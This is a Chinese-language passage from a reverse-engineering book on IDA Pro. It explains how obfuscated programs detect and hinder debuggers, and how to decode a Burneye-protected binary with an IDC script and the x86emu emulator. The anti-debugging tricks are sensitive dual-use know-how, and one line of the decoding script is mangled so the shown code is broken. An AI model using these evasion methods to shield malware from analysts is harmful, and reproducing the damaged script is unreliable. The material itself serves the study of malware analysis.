//exit because Filemon is running
}


在这种情况下,`FindWindow`函数正在根据窗口的注册类名(`"FilemonClass"`)而不是窗口的标题来搜索顶级应用程序窗口。如果找到请求的类窗口,则假定 Filemon 正在执行,程序终止。

## 检测调试器

超越对程序简单观察的使用,调试器的使用允许分析师完全控制需要分析的程序的执行。使用调试器对混淆程序的一个常见用途是运行混淆程序足够长的时间以完成任何解压缩或解密任务,然后利用调试器的内存访问功能从内存中提取去混淆的过程图像。在大多数情况下,可以使用标准的静态分析工具和技术来完成提取的过程图像的分析。

混淆工具的作者非常清楚这种由调试器辅助的反混淆技术,因此他们已经采取了措施来尝试阻止调试器执行他们的混淆程序。检测到调试器存在的程序通常会选择终止,而不是进行任何可能使分析师更容易确定程序行为的操作。

检测调试器存在的技术范围从通过已知的 API 函数(如 Windows 的`IsDebuggerPresent`函数)对操作系统进行简单查询,到对内存或处理器因使用调试器而产生的痕迹进行低级检查。后者的一个例子包括检测处理器跟踪(单步)标志是否被设置。在某些情况下,也可以检测特定的调试器。例如,SoftIce,一个 Windows 内核调试器,可以通过检测用于与调试器通信的`"\\.\NTICE"`设备来识别。

只要你知道要寻找什么,尝试检测调试器并没有什么特别棘手的地方,并且在静态分析过程中(除非同时使用反静态分析技术)很容易观察到这些尝试。有关调试器检测的更多信息,请参阅 Nicolas Falliere 的文章“Windows Anti-Debug Reference”,^([177]),该文章提供了 Windows 反调试技术的全面概述.^([178]) 此外,OpenRCE 维护了一个反逆向工程技术数据库,^([179]) 其中包含了许多针对调试器的特定技术。

## 防止调试

如果调试器设法保持不可检测,仍然有几种技术可以用来阻止其使用。这些额外技术试图通过引入虚假断点、清除硬件断点、阻碍反汇编以使选择适当的断点地址变得困难,或者阻止调试器最初就附加到进程来迷惑调试器。Nicolas Falliere 文章中讨论的许多技术都是针对防止调试器正常运行的。

故意生成异常是程序试图阻碍调试的一种方法。在大多数情况下,附加的调试器会捕获异常,调试器的用户将面临分析异常发生的原因以及是否将异常传递给正在调试的程序的任务。在软件断点的情况下,例如 x86 的`int 3`,可能很难区分由底层程序生成的软件中断和由实际的调试器断点引起的软件中断。这种混淆正是混淆程序创建者所期望的效果。在这种情况下,通常可以通过仔细分析反汇编列表来理解真正的程序流程,尽管静态分析所需的努力有所增加。

以某种方式编码程序的部分具有双重效果,一方面阻碍了静态分析,因为无法进行反汇编,另一方面阻碍了调试,因为设置断点困难。即使知道每条指令的开始,也必须在指令实际解码后才能放置软件断点,因为通过插入软件断点来更改指令很可能会导致混淆代码的解密失败,并在执行达到预期的断点时导致程序崩溃。

或者,一些去混淆例程会在进程的字节范围内计算校验和值。如果在计算校验和的范围内设置了软件断点,则生成的校验和将是不正确的,程序很可能会终止。

Linux 的 Shiva ELF 混淆工具使用了一种称为*互斥 ptrace*的技术来防止在分析 Shiva 的行为时使用调试器。

进程跟踪

*ptrace*,或进程跟踪,API 在许多 Unix 系统上可用,并提供了一种机制,允许一个进程监控和控制另一个进程的执行。GNU 调试器(gdb)是使用 ptrace API 的更知名的应用程序之一。使用 ptrace API,ptrace 父进程可以附加并控制 ptrace 子进程的执行。为了开始控制进程,父进程必须首先*附加*到它想要控制的子进程。一旦附加,子进程在任何时候收到信号时都会停止,并且父进程通过 POSIX `wait`函数通知这一事实,此时父进程可以选择在指示子进程继续执行之前更改或检查子进程的状态。一旦父进程附加到子进程,除非跟踪父进程选择从子进程断开连接,否则没有其他进程可以附加到同一个子进程。

Shiva 利用了这样一个事实:在任何给定时间,一个进程可能只被另一个进程 ptraced。在执行早期,Shiva 进程会进行 fork 操作以创建自身的副本。原始的 Shiva 进程立即对新 fork 出的子进程执行 ptrace attach 操作。新 fork 出的子进程反过来立即连接到其父进程。如果任一 attach 操作失败,Shiva 将假定另一个调试器正在用于监控 Shiva 进程而终止。如果两个操作都成功,则没有其他调试器可以用来附加到正在运行的 Shiva 对,Shiva 可以继续运行而无需担心被观察。在以这种方式操作时,任一 Shiva 进程都可能改变另一个的状态,使得使用静态分析技术难以确定通过 Shiva 二进制的确切控制流路径。

* * *

^([170]) 一个*OUI*组成了网络适配器出厂分配的 MAC 地址的前三个字节。

^([171]) 请参阅 Elias Bachaalany 的[`www.codeproject.com/KB/system/VmDetect.aspx`](http://www.codeproject.com/KB/system/VmDetect.aspx)。

^([172]) 请参阅[`www.invisiblethings.org/papers/redpill.html`](http://www.invisiblethings.org/papers/redpill.html)。

^([173]) 请参阅[`handlers.sans.org/tliston/ThwartingVMDetection_Liston_Skoudis.pdf`](http://handlers.sans.org/tliston/ThwartingVMDetection_Liston_Skoudis.pdf)。

^([174]) 请参阅[`technet.microsoft.com/en-us/sysinternals/bb896645.aspx`](http://technet.microsoft.com/en-us/sysinternals/bb896645.aspx)。

^([175]) 请参阅[`technet.microsoft.com/en-us/sysinternals/default.aspx`](http://technet.microsoft.com/en-us/sysinternals/default.aspx)。

^([176]) 请参阅[`www.wireshark.org/`](http://www.wireshark.org/)。

^([177]) 请参阅[`www.symantec.com/connect/articles/windows-anti-debug-reference/`](http://www.symantec.com/connect/articles/windows-anti-debug-reference/)。

^([178]) 请参阅 Peter Ferrie 的[`pferrie.tripod.com/papers/unpackers.pdf/`](http://pferrie.tripod.com/papers/unpackers.pdf/)。

^([179]) 请参阅[`www.openrce.org/reference_library/anti_reversing/`](http://www.openrce.org/reference_library/anti_reversing/)。

# 使用 IDA 进行二进制静态去混淆

到目前为止,您可能想知道,鉴于所有可用的反逆向工程技术,如何分析程序员有意保密的软件。鉴于这些技术针对静态分析工具和动态分析工具,揭示程序隐藏行为的最佳方法是什么?不幸的是,没有一种解决方案能够同样适合所有情况。在大多数情况下,解决方案取决于您的技能集和可用的工具。如果您选择的工具是调试器,那么您需要开发绕过调试器检测和预防保护的策略。如果您首选的工具是反汇编器,那么您需要开发获取准确反汇编的策略,以及在遇到自修改代码的情况下,模拟该代码的行为,以便正确更新您的反汇编列表。

在本节中,我们将讨论两种在静态分析环境中(即在执行代码之前)处理自修改代码的技术。在您不愿意(由于恶意代码)或无法(由于缺乏硬件或适当的沙盒环境)使用调试器控制程序进行分析的情况下,静态分析可能是您的唯一选择。

## 以脚本为导向的解混淆

由于 IDA 可以用于反汇编为多种不同 CPU 类型开发的二进制文件,因此分析一个与您运行 IDA 的平台完全不同的平台上的二进制文件并不罕见。例如,您可能被要求分析一个 Linux x86 二进制文件,尽管您碰巧运行的是 IDA 的 Windows 版本,或者您可能被要求分析一个 MIPS 或 ARM 二进制文件,尽管 IDA 仅在 x86 平台上运行。在这种情况下,您可能无法访问适合在您提供的二进制文件上执行动态分析的调试器等动态分析工具。当这样的二进制文件被通过编码程序的部分来混淆时,您可能别无选择,只能创建一个 IDA 脚本,该脚本将模拟程序的解混淆阶段,以便正确解码程序并反汇编解码后的指令和数据。

这可能看起来是一项艰巨的任务。然而,在许多情况下,混淆程序的解码阶段仅使用处理器指令集的一小部分,因此熟悉必要的操作可能不需要理解目标 CPU 的整个指令集。

第十五章 提出了一种开发脚本算法,该脚本模拟程序部分的行为。在下面的示例中,我们将利用这些步骤开发一个简单的 IDC 脚本来解码使用 Burneye ELF 加密工具加密的程序。在我们的示例程序中,执行从 示例 21-2 中的指令开始。

示例 21-2. Burneye 启动序列和混淆代码

LOAD:05371035 start proc near
LOAD:05371035
LOAD:05371035 push off_5371008
LOAD:0537103B pushf
LOAD:0537103C pusha
LOAD:0537103D mov ecx, dword_5371000
LOAD:05371043 jmp loc_5371082
...
LOAD:05371082 loc_5371082: ; CODE XREF: start+E↑j
LOAD:05371082 call sub_5371048
LOAD:05371087 sal byte ptr [ebx-2Bh], 1
LOAD:0537108A pushf
LOAD:0537108B xchg al, [edx-11h]
LOAD:0537108E pop ss
LOAD:0537108F xchg eax, esp
LOAD:05371090 cwde
LOAD:05371091 aad 8Eh
LOAD:05371093 push ecx
LOAD:05371094 out dx, eax
LOAD:05371095 add [edx-57E411A0h], bh
LOAD:0537109B push ss
LOAD:0537109C rcr dword ptr [esi+0Ch], cl
LOAD:0537109F push cs
LOAD:053710A0 sub al, 70h
LOAD:053710A2 cmp ch, [eax+6Eh]
LOAD:053710A5 cmp dword ptr ds:0CBD35372h, 9C38A8BCh
LOAD:053710AF and al, 0F4h
LOAD:053710B1 db 67h


程序首先将内存位置 `05371008h` 的内容推入栈 ![图片](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854061.png),然后推入 CPU 标志 ![图片](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854063.png) 和所有 CPU 寄存器 ![图片](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854093.png)。这些指令的目的并不立即清楚,所以我们只是将这些信息存档以备后用。接下来,ECX 寄存器被加载了内存位置 `5371000h` 的内容 ![图片](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854095.png)。根据第十五章中提出的算法 Chapter 15,我们需要在此处声明一个名为 `ecx` 的变量,并使用 IDC 的 `Dword` 函数从内存中初始化它,如下所示:

auto ecx;
ecx = Dword(0x5371000); //from instruction 0537103D


在执行绝对跳转后,程序调用函数 `sub_5371048` ![图片](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854099.png),它具有将地址 `05371087h`(返回地址)推入栈中的副作用。请注意,跟随 `call` 指令之后的反汇编指令开始变得越来越没有意义。`out` 指令 ![图片](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854101.png) 通常不会在用户空间代码中遇到,而 IDA 无法反汇编地址 `053710B1h` ![图片](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854103.png) 的指令。这些都是表明这个二进制文件(以及函数窗口只列出两个函数的事实)有些不对劲的迹象。

在这一点上,分析需要继续使用函数 `sub_5371048`,该函数在示例 21-3 中展示。

示例 21-3. 主 Burneye 解码函数

LOAD:05371048 sub_5371048 proc near ; CODE XREF: start:loc_5371082↓p
LOAD:05371048 pop esi
LOAD:05371049 mov edi, esi
LOAD:0537104B mov ebx, dword_5371004
LOAD:05371051 or ebx, ebx
LOAD:05371053 jz loc_537107F
LOAD:05371059 xor edx, edx
LOAD:0537105B loc_537105B: ; CODE XREF: sub_5371048+35↓j
LOAD:0537105B mov eax, 8
LOAD:05371060 loc_5371060: ; CODE XREF: sub_5371048+2B↓j
LOAD:05371060 shrd edx, ebx, 1
LOAD:05371064 shr ebx, 1
LOAD:05371066 jnb loc_5371072
LOAD:0537106C xor ebx, 0C0000057h
LOAD:05371072 loc_5371072: ; CODE XREF: sub_5371048+1E↑j
LOAD:05371072 dec eax
LOAD:05371073 jnz short loc_5371060
LOAD:05371075 shr edx, 18h
LOAD:05371078 lodsb
LOAD:05371079 xor al, dl
LOAD:0537107B stosb
LOAD:0537107C dec ecx
LOAD:0537107D jnz short loc_537105B
LOAD:0537107F loc_537107F: ; CODE XREF: sub_5371048+B↑j
LOAD:0537107F popa
LOAD:05371080 popf
LOAD:05371081 retn


仔细检查发现,这不是一个典型的函数,因为它一开始就立即将返回地址从栈中弹出至 ESI 寄存器 ![图片](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854061.png)。回忆起保存的返回地址是 `05371087h`,并考虑到 EDI ![图片](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854063.png)、EBX ![图片](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854093.png) 和 EDX ![图片](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854095.png) 的初始化,我们的脚本扩展到以下内容:

auto ecx, esi, edi, ebx, edx;
ecx = Dword(0x5371000); //from instruction 0537103D
esi = 0x05371087; //from instruction 05371048
edi = esi; //from instruction 05371049
ebx = Dword(0x5371004); //from instruction 0537104B
edx = 0; //from instruction 05371059


在这些初始化之后,函数在进入外循环 ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854101.png) 和内循环 ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854103.png) 之前对 EBX 寄存器中的值进行测试 ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854099.png)。函数的其余逻辑在以下完成的脚本中体现。在脚本中,注释用于将脚本操作与前面的反汇编列表中的对应操作联系起来。

auto ecx, esi, edi, ebx, edx, eax, cf;
ecx = Dword(0x5371000); //from instruction 0537103D
esi = 0x05371087; //from instruction 05371048
edi = esi; //from instruction 05371049
ebx = Dword(0x5371004); //from instruction 0537104B
if (ebx != 0) { //from instructions 05371051 and 05371053
edx = 0; //from instruction 05371059
do {
eax = 8; //from instruction 0537105B
do {
//IDC does not offer an equivalent of the x86 shrd instruction so we
//need to derive the behavior using several operations
edx = (edx

  1. & 0x7FFFFFFF; //perform unsigned shift right one bit
    cf = ebx & 1; //remember the low bit of ebx
    if (cf == 1) { //cf represents the x86 carry flag
    edx = edx | 0x80000000; //shift in the low bit of ebx if it is 1
    }
    ebx = (ebx >> 1) & 0x7FFFFFFF; //perform unsigned shift right one bit
    if (cf == 1) { //from instruction 05371066
    ebx = ebx ^ 0xC0000057; //from instruction 0537106C
    }
    eax--; //from instruction 05371072
    } while (eax != 0); //from instruction 05371073
    edx = (edx >> 24) & 0xFF; //perform unsigned shift right 24 bits
    eax = Byte(esi++); //from instruction 05371078
    eax = eax ^ edx; //from instruction 05371079
    PatchByte(edi++, eax); //from instruction 0537107B
    ecx--; //from instruction 0537107C
    } while (ecx != 0); //from instruction 0537107D
    }

关于这个例子,有两个小问题需要提出。首先,IDC 中的右移运算符(`>>`)执行有符号移位(意味着符号位被复制到最高有效位),而 x86 的`shr`和`shrd`指令执行无符号移位。为了在 IDC 中模拟无符号右移,我们必须清除从左边移入的所有位,就像在 ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854061.png) 和 ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854063.png) 中所做的那样。第二个问题涉及选择合适的数据大小和变量,以正确实现 x86 的`lodsb`(加载字符串字节)和`stosb`(存储字符串字节)指令。这些指令写入(`lodsb`)和读取(`stosb`)EAX 寄存器的低 8 位,^([180])而高 24 位保持不变。在 IDC 中,除了使用各种位操作来屏蔽和重新组合变量的部分外,没有其他方法可以将变量分割成位大小的部分。具体来说,对于`lodsb`指令,更精确的模拟应该如下所示:

eax = (eax & 0xFFFFFF00) | (Byte(esi++) & 0xFF);


这个例子首先清除了 EAX 变量的低 8 位,然后使用`OR`操作合并新的低 8 位值。在 Burn-eye 解码示例中,我们注意到在每个外循环开始时,整个 EAX 寄存器被设置为 8,这相当于清除了 EAX 的高 24 位。因此,我们选择简化`lodsb`的实现,忽略对 EAX 高 24 位的影响![](httpatomoreillycomsourcenostarchimages854093.png)。对于`stosb` ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854095.png)的实现,无需考虑,因为`PatchByte`函数只读取输入值(在这种情况下为 EAX)的低 8 位。

在执行 Burneye 解码 IDC 脚本之后,我们的数据库将反映所有在 Linux 系统上执行混淆程序之前通常无法观察到的变化。如果去混淆过程执行得当,我们很可能在 IDA 的字符串窗口中看到更多的可读字符串。为了观察这一事实,你可能需要通过关闭并重新打开窗口或在窗口内右键单击,选择设置,然后点击确定来刷新字符串窗口内容。任何一种操作都会导致 IDA 重新扫描数据库以查找字符串内容。

剩余的任务包括确定解码函数将返回的位置,考虑到它在函数的第一个指令中弹出返回地址,以及诱导 IDA 正确显示解码的字节值作为指令或数据。Burneye 解码函数以以下三条指令结束:

LOAD:0537107F popa
LOAD:05371080 popf
LOAD:05371081 retn


记住,函数开始时通过弹出其自己的返回地址,这意味着剩余的栈值是由调用者设置的。这里使用的`popa`和`popf`指令是 Burneye 启动例程开始时使用的`pusha`和`pushf`指令的对应指令,如下所示:

LOAD:05371035 start proc near
LOAD:05371035
LOAD:05371035 push off_5371008
LOAD:0537103B pushf
LOAD:0537103C pusha


最终结果是,栈上唯一保留的值是在`start`的第一行推入的那个值 ![http://atomoreilly.com/source/nostarch/images/854061.png]。Burneye 解码例程返回的位置就是这里,进一步分析 Burneye 受保护的二进制文件也需要从这里继续。

上述示例可能让人觉得编写脚本以解码或解包混淆的二进制文件相对容易。在 Burneye 的情况下,这是正确的,因为它没有使用非常复杂的初始混淆算法。使用 IDC 实现更复杂工具(如 ASPack 和 tElock)的去混淆存根需要更多的努力。

基于脚本去混淆的优点包括分析的二进制文件无需执行,并且可以在不完整理解用于去混淆二进制文件的精确算法的情况下创建一个功能脚本。这种说法可能看起来有些反直觉,因为似乎在用脚本模拟算法之前,你需要对去混淆过程有一个完整理解。然而,使用这里和第十五章(ch15.html "第十五章。IDA 脚本")中描述的开发过程,你真正需要的是对去混淆过程中涉及的每个 CPU 指令的完整理解。通过忠实地使用 IDC 实现每个 CPU 动作,并按照反汇编列表正确排序每个动作,你将得到一个模拟程序动作的脚本,即使你并不完全理解这些动作整体实现的高级算法。

使用基于脚本的方法的缺点包括脚本相当脆弱。如果脱混淆算法因为脱混淆工具的升级或通过提供给混淆工具的替代命令行设置而发生变化,那么之前对该工具有效的脚本很可能需要相应地进行修改。例如,可以开发一个通用的解包脚本,用于与使用 UPX 打包的二进制文件一起使用,^([181]) 但这样的脚本需要随着 UPX 的演变而不断调整。

最后,脚本脱混淆的缺点在于缺乏一个适用于所有脱混淆情况的解决方案。没有一种万能的宏脚本能够脱混淆所有二进制文件。从某种意义上说,脚本脱混淆与基于签名的入侵检测和防病毒系统存在许多相同的不足。对于每种新的打包器类型,都需要开发一个新的脚本,并且现有打包器的细微变化很可能会破坏现有的脚本。

## 面向模拟的脱混淆

在创建脚本以执行脱混淆任务时,遇到的一个反复出现的问题是需要模拟 CPU 的指令集,以便脚本的行为与正在脱混淆的程序相同。如果我们手头有一个实际的指令模拟器,那么可能可以将这些脚本中的一些或全部工作转移到模拟器上,从而大大减少脱混淆 IDA 数据库所需的时间。模拟器可以填补脚本和调试器之间的空白,并且具有比脚本更高效、比调试器更灵活的优势。例如,使用模拟器,可以在 x86 平台上模拟 MIPS 二进制文件,或者在 Windows 平台上模拟 Linux ELF 二进制文件的指令。

模拟器的复杂程度各不相同。最基本的情况下,模拟器需要一个指令字节流以及足够的内存来分配给堆栈操作和 CPU 寄存器。更复杂的模拟器可能提供对模拟硬件设备和操作系统服务的访问。

IDA 不提供原生的模拟器功能^([182]), 但其插件架构足够复杂,允许创建模拟器类型的插件。此类模拟器的一种可能的实现是将 IDA 数据库视为虚拟内存,该内存恰好包含我们希望模拟的映射二进制文件(由加载模块提供)。对模拟器插件的要求仅限于提供一小部分内存来跟踪所有 CPU 寄存器的状态,以及一些实现堆栈的方法。一种实现堆栈的方法是在数据库中创建一个新的段,将其映射到适合堆栈的位置。模拟器通过从由模拟器的指令指针当前值指定的数据库位置读取字节,根据模拟 CPU 的指令集规范解码检索到的值,并更新由解码指令影响的任何内存值来运行。可能的更新可能包括修改模拟寄存器值、将值存储到模拟堆栈内存空间中,或者根据解码指令生成的内存地址,将修改后的值修补到 IDA 数据库中的数据或代码部分。模拟器的控制可能与调试器的控制类似,即可以逐步执行指令、检查内存、修改寄存器,并设置断点。程序内存空间内的内存内容将由 IDA 的反汇编和十六进制视图提供,而模拟器则需要生成自己的 CPU 寄存器显示。

使用这样的模拟器,可以通过在程序入口点启动模拟并逐步执行构成程序去混淆阶段的指令来去混淆一个混淆程序。因为模拟器使用数据库作为其支持内存,所以所有自我修改都会立即反映为数据库中的变化。当去混淆例程完成时,数据库已经转换成程序的正确去混淆版本,就像程序在调试器控制下运行一样。模拟器相对于调试器的直接优势是,潜在的恶意代码永远不会实际由模拟器执行,而调试器辅助的去混淆必须允许至少部分恶意程序执行,以便获得程序的去混淆版本。

ida-x86emu(x86emu)插件是一个旨在提供 x86 指令集模拟的模拟器插件示例。该插件是开源的,并支持从 4.9 版本开始的 IDA SDK 所有版本。x86emu 分发中包含了为 IDA 所有版本编译的插件的二进制版本。该插件旨在与 IDA 的 Windows 图形界面版本或 Qt 版本一起使用,并包括构建脚本,允许使用 MinGW(g++/make)或 Microsoft(Visual Studio 2008)工具构建插件。该插件的 Qt 版本也与 IDA 的 Linux 和 OS X 版本兼容。除了适合您 IDA 版本的 SDK 之外,插件没有其他依赖项。通过将编译好的插件二进制文件(*x86emu.plw/x86emu_qt.plw*)复制到 *<IDADIR>/plugins* 来安装插件。

不需要插件配置,默认情况下使用 alt-F8 键序列激活模拟器。插件仅适用于使用 x86 处理器的二进制文件,并且可以与任何文件类型的二进制文件一起使用,例如 PE、ELF 和 Mach-O。可以使用第十七章中讨论的工具(Visual Studio 或 MinGW 的 gcc 和 make)从源代码构建插件。

| **名称** | ida-x86emu |
| --- | --- |
| **作者** | Chris Eagle |
| **分发** | SDK v6.1 的源代码以及包括 IDA Freeware 在内的 IDA 所有版本的二进制文件。源代码与 SDK 版本 4.9 兼容。 |
| **价格** | 免费 |
| **描述** | IDA 的嵌入式 x86 指令模拟器 |
| **信息** | [`www.idabook.com/ida-x86emu`](http://www.idabook.com/ida-x86emu) |

### x86emu 初始化

当激活 x86emu 插件时,将显示如图 21-4 所示的插件控制对话框。图 21-4 中的基本显示显示寄存器值,并提供用于执行简单模拟任务的按钮控件,例如单步模拟或修改数据值。

![x86emu 模拟器控制对话框](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854324.png.jpg)

图 21-4. x86emu 模拟器控制对话框

在首次激活时,插件执行一系列附加操作。对于所有文件类型,模拟器创建名为 `.stack` 和 `.heap` 的新数据库段,以便为模拟程序操作提供运行时内存支持。在特定二进制文件中首次激活插件时,当前光标位置用于初始化指令指针(`EIP`)。对于 Windows PE 二进制文件,插件执行以下附加任务:

1.  创建一个名为 `.headers` 的附加程序段,重新读取输入的二进制文件,然后将 MS-DOS 和 PE 标头字节加载到数据库中。

1.  分配内存以模拟线程环境块(TEB)和进程环境块(PEB)。这些结构通过合理的值进行填充,试图让被模拟的程序相信它正在实际 Windows 环境中运行。

1.  为 x86 段寄存器分配合理的值,并配置一个假的中断描述符表,以提供最小异常处理能力。

1.  尝试定位 PE 文件导入目录中引用的所有 DLL。对于找到的每个此类 DLL,模拟器在数据库中创建额外的段,并加载 DLL 的头部和导出目录。然后,二进制文件的导入表被填充从加载的 DLL 信息中派生的函数地址。请注意,不会将任何导入 DLL 的代码加载到数据库中。

每次数据库保存或关闭时,插件当前状态(寄存器值)都会保存在一个 netnode 中。此外,还会保存如栈和堆值等附加内存状态,因为这些值存储在数据库中的专用段中。在后续激活时,模拟器状态从现有的 netnode 数据中恢复。

### 基本 x86emu 操作

模拟器控制对话框旨在提供类似于非常基本调试器的功能。可以通过在所需寄存器的编辑框中输入新值来更改 CPU 寄存器的内容。

“单步”按钮用于模拟单个指令。通过从由 EIP 寄存器指定的数据库位置读取一个或多个字节,并执行由指令字节指定的任何操作来模拟单个指令。需要时,会更新寄存器显示值以反映当前指令模拟引起的变化。每次单击“单步”按钮时,模拟器都会确保由 EIP 指定的地址处的字节显示为代码(而不是数据)。此功能有助于防止指令流中可能发生的任何不同步尝试。此外,模拟器将反汇编显示窗口跳转到由 EIP 指定的位置,以便显示与每个模拟指令一起跟踪。

可以使用“运行到光标”按钮一次性模拟一系列指令。模拟从当前 EIP 位置继续,直到达到断点或 EIP 等于当前光标位置才停止。模拟器识别通过 IDA 调试器接口设置的断点(在所需地址上右键单击并选择**添加断点**)或通过模拟器自己的断点接口,模拟 ▸ 设置断点设置的断点。

x86EMU 断点

模拟器不使用硬件调试寄存器或软件中断,如`int 3`指令。相反,模拟器维护一个内部断点列表,在模拟每条指令之前将模拟的指令指针与该列表进行比较。虽然这看起来可能效率不高,但它并不比一般模拟效率低,并且它提供了优势,即模拟器的断点对被模拟的程序来说是不可检测和不可更改的。

一旦选择了“运行到光标”选项,模拟器不会为每条取出的指令重新格式化反汇编;相反,它只格式化执行的第一条和最后一条指令。对于长的指令序列,在每条指令上重新格式化反汇编的开销会导致模拟器性能缓慢到无法忍受。你应该非常小心地使用“运行到光标”命令,因为只有在 EIP 达到光标位置时,才能重新获得模拟器(和 IDA)的控制权。如果由于任何原因,执行从未遇到断点或未能达到光标位置,你可能需要强制终止 IDA,这可能会导致丢失有价值的工作。

跳过按钮用于在不模拟该指令的情况下,精确地前进一个指令。跳过命令的一个潜在用途是跳过条件跳转,以便无论任何条件标志的状态如何,都能到达特定的代码块。跳过命令对于跳过调用不可用于模拟的导入库函数也是很有用的。如果你选择跳过函数调用,请确保更新数据库以反映函数可能做出的任何更改。此类更改的例子包括修改 EAX 的值以反映所需的函数返回值或填充传递给函数的地址的缓冲区。此外,如果跳过的函数使用`stdcall`调用约定,你还应小心手动调整 ESP,以符合跳过的函数在返回时从堆栈中清除的字节数。

“跳转到光标”按钮会将 EIP 更新为当前光标位置的地址。此功能可用于跳过整个代码段或当 CPU 标志的状态可能不会导致跳转时,跟随条件跳转。请注意,在函数内跳转可能会影响堆栈布局(例如,如果你跳过了 push 或堆栈指针调整),从而导致意外的行为。请注意,模拟器开始于程序的入口点并不一定是其意图。完全有可能使用模拟器来模拟二进制中的一个单独的函数,以便研究该函数的行为。这是包含“跳转到光标”按钮的动机之一,以便在二进制文件内轻松重定向你的模拟工作。

“运行”按钮的功能类似于“运行到光标处”按钮;然而,它更危险,因为执行会继续,直到遇到断点。如果您选择使用此命令,请务必确保您的其中一个断点将被达到。

“段”按钮提供访问 x86 段寄存器和段基地址的配置。图 21-5 显示了用于更改段相关值的对话框。

![x86emu 段寄存器配置](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854327.png.jpg)

图 21-5. x86emu 段寄存器配置

虽然模拟器的地址计算遵循提供的基值,但模拟器目前尚未提供对 x86 全局描述符表(GDT)的完整仿真。

“设置内存”按钮提供访问基本内存修改对话框,如图图 21-6 所示。

![x86emu 内存修改对话框](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854330.png.jpg)

图 21-6. x86emu 内存修改对话框

此对话框本质上是一些 SDK `Patch`*`XXX`*函数的包装器。通过提供的单选按钮选择要插入数据库的数据类型,而实际数据则输入到提供的编辑控件中。如果选择“从文件加载”单选按钮,用户将看到一个标准的文件打开对话框,用于选择一个文件,其内容将从指定的地址开始传输到数据库中。

“推数据”按钮用于将数据值放置在仿真程序堆栈的顶部。如图图 21-7 所示的对话框可用于指定一个或多个将被推送到堆栈上的数据项。

![x86emu 堆数据对话框](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854333.png.jpg)

图 21-7. x86emu 堆数据对话框

模拟器目前仅接受数值数据。提供的值以 4 字节量推送到仿真堆栈中,顺序从右到左,就像它们是函数调用的参数一样。根据推送到堆栈上的值的数量调整堆栈指针。此对话框的预期用途是在直接跳转到要仿真的函数之前配置函数参数。这允许在不要求用户找到函数的实际执行路径的情况下仿真函数。

### 模拟器辅助去混淆

到目前为止,我们已准备好讨论 x86emu 作为去混淆工具的使用。我们首先回到 Burneye 示例,为该示例我们开发了一个完整的 IDC 脚本。假设我们对 Burn-eye 解码算法没有任何先验知识,去混淆过程将如下进行。

1.  打开 Burneye 受保护的二进制文件。光标应自动定位在`start`入口点。激活模拟器(alt-F8)。![图 21-4](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/ch21s03.html#x86emu_emulator_control_dialog "图 21-4. x86emu 模拟器控制对话框")显示了模拟器的结果状态。

1.  开始执行模拟器,密切注意即将要模拟的指令。经过六次步骤后,模拟器到达函数`sub_5371048`(见示例 21-3)。

1.  这个函数看起来结构相当合理。我们可以选择让模拟器运行一段时间,以获得更好的执行流程感,或者我们可以选择研究这个函数一段时间,并确定是否可以在函数的`return`语句处放置光标并点击运行到光标处。选择后者,我们将光标定位在地址`05371081h`处并点击**运行到光标**。

1.  在这一点上,去混淆已经完成。再执行两次模拟器,执行`return`语句,返回新去混淆的代码,并导致 IDA 重新格式化去混淆的字节为指令。

这里显示了去混淆后的代码:

LOAD:05371082 loc_5371082: ; CODE XREF: start+E↑j
LOAD:05371082 call sub_5371048
LOAD:05371082 ; --------------------------------------------------------------
LOAD:05371087 db 0
LOAD:05371088 db 0
LOAD:05371089 db 0
LOAD:0537108A db 0
LOAD:0537108B db 0
LOAD:0537108C db 0
LOAD:0537108D db 0
LOAD:0537108E db 0
LOAD:0537108F db 0
LOAD:05371090 ; --------------------------------------------------------------
LOAD:05371090
LOAD:05371090 loc_5371090: ; DATA XREF: LOAD:off_5371008↑o
LOAD:05371090 pushf
LOAD:05371091 pop ebx
LOAD:05371092 mov esi, esp
LOAD:05371094 call sub_5371117
LOAD:05371099 mov ebp, edx
LOAD:0537109B cmp ecx, 20h
